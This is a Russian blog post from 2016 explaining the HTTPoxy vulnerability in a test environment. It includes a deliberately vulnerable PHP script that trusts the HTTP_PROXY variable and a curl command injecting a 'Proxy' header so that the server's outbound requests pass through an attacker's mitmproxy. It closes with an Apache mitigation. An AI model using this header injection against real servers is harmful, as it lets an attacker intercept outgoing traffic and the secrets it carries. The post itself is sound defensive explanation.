пятница, 22 июля 2016 г.

HTTPoxy уязвимость. Перенаправление запросов web-приложений.

18 июля 2016 года была опубликована информация о так называемой уязвимости HTTPoxy, которая позволяет атакующему с помощью подмены заголовков HTTP запроса при существовании определенных условий перенаправить запрос web-сервера через свой Proxy-сервер. Подробнее информация об этой уязвимости описана тут - Уязвимость HTTPoxy позволяет перенаправлять http-запросы веб-приложений и в первоисточнике на https://httpoxy.org/ . Давайте попробуем рассмотреть более подробно, что из себя представляет данная уязвимость и попытаемся использовать ее в тестовом окружении.

Предположим что web-приложение выполняющееся на стороне сервера так или иначе использует переменные окружения для настройки исходящих соединений. Например у нас есть такой скрипт (примерно аналогичная уязвимость была обнаружена и исправлена в artax, об уязвимости которого говорилось в бюллетене):

<?php

function autoDetectProxySettings() {
if (($httpProxy = getenv('http_proxy')) || ($httpProxy = getenv('HTTP_PROXY'))) {
             return $httpProxy;
         }
}

$httpProxy = autoDetectProxySettings();

$ch = curl_init("http://www.decker.su");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
if (isset($httpProxy)) { curl_setopt($ch, CURLOPT_PROXY, $httpProxy); }
$result = curl_exec($ch);

echo $result;

?>

На первый взгляд скрипт не содержит уязвимостей, он получает "дефолтные" настройки http_proxy из переменных окружения, осуществляет запрос на URL www.decker.su (здесь, представьте, что этот скрипт к примеру, мог обращаться к какому-либо Web API и передавать в запросе секретны ключи и т.п. информацию) и выводит полученный ответ на экран.

Запустив скрипт, набрав в браузере http://server.url/test.php мы получим в качестве результата заглавную страницу decker.su. Теперь давайте попробуем представить себя на стороне атакующего. Поднимем на каком-нибудь хосте в интернете Mitmproxy (чуть подробнее про него можно почитать тут - Анализ HTTP-трафика с Mitmproxy) и попробуем вставить в заголовки GET-запроса к нашему скрипту с помощью Burp SuiteTamper Data или curl заголовок Proxy. Я воспользуюсь последним способом и просто запущу curl:

curl -H "Proxy: proxy:port" http://server.url/test.php 

Здесь proxy:port - адрес и порт нашего mitmproxy, http://server.url/test.php - URL уязвимого web-приложения. И тут же в логах mitmproxy мы увидим следующую строку:


Таким образом, всего-лишь добавив одну строку заголовка Proxy: proxy:port в GET-запрос, нам удалось перенаправить исходящий трафик web-сервера через свой Proxy.

Что же получилось? Сервер получив заголовок Proxy в запросе преобразовал его в переменную окружения $_SERVER[«HTTP_PROXY»], которая и была успешно считана скриптом с помощью getenv('HTTP_PROXY'). Как отметил Evengard на Хабре:

"А, всё, почитал источник и разобрался в чём суть уязвимости. Дело не в том, что именно Proxy превращается в HTTP_PROXY, а вообще любые заголовки превращаются в переменные окружения с префиксом «HTTP_»."

В этом несложно убедиться подставив в заголовок запроса еще несколько параметров, ну например: curl -H "Proxy: proxy:port" -H "Blogger: Decker" -H "Year: 2016" http://server.url/test.php, а потом считав содержимое переменной $_SERVER в скрипте:

  'HTTP_ACCEPT' => '*/*',
  'HTTP_HOST' => 'server.url',
  'HTTP_USER_AGENT' => 'curl/7.37.1',
  'HTTP_PROXY' => 'proxy:port',
  'HTTP_BLOGGER' => 'Decker',
  'HTTP_YEAR' => '2016',

Описанная уязвимость затрагивает только те web-приложения, которые явно или неявно используют переменные окружения в своей работе. Т.к. любой пользователь интернет сформировав заголовок Proxy в HTTP запросе может изменить переменную окружения HTTP_PROXY на сервере, естественно, что доверять такой переменной нельзя, т.к. пользователь может подставить в нее что угодно и, как следствие, получить контроль над исходящим трафиком web-приложения.

Давайте проверим, что произойдет если PHP на нашем web-сервере будет настроен как модуль Apache (php5_module, т.е. вариант PHP_SAPI = "apache"), а сервер будет осуществлять исходящие запросы с помощью простейшей file_get_contents. Т.е. скрипт на сервере будет представлять нечто вроде:
echo file_get_contents("http://decker.su");
Как вы думаете? А ничего не произойдет. Т.к. file_get_contents при текущих настройках сервера никак не зависит от переменных окружения. Т.е. несмотря на то что HTTP_PROXY при исполнении скрипта у нас все равно установилась в proxy:port, который подставил атакующий - запрос был отправлен напрямую. Таким образом уязвим ваш веб-сервер перед данной атакой или нет целиком и полностью зависит от используемого HTTP client'а, т.е. использует ли веб-приложение переменные окружения для определения параметров proxy или нет. В случае со скриптом #1, как мы убедились - использует, в случае со скриптом #2 - не использует.

В любом случае лучше защитить ваш web-сервер согласно рекомендациям приведенным здесь и вырезать HTTP заголовок Proxy еще при поступлении запроса. Для Apache, например, это можно сделать с помощью mod_headers и директивы RequestHeader unset Proxy.

Полезные ссылки

Комментариев нет :

Отправить комментарий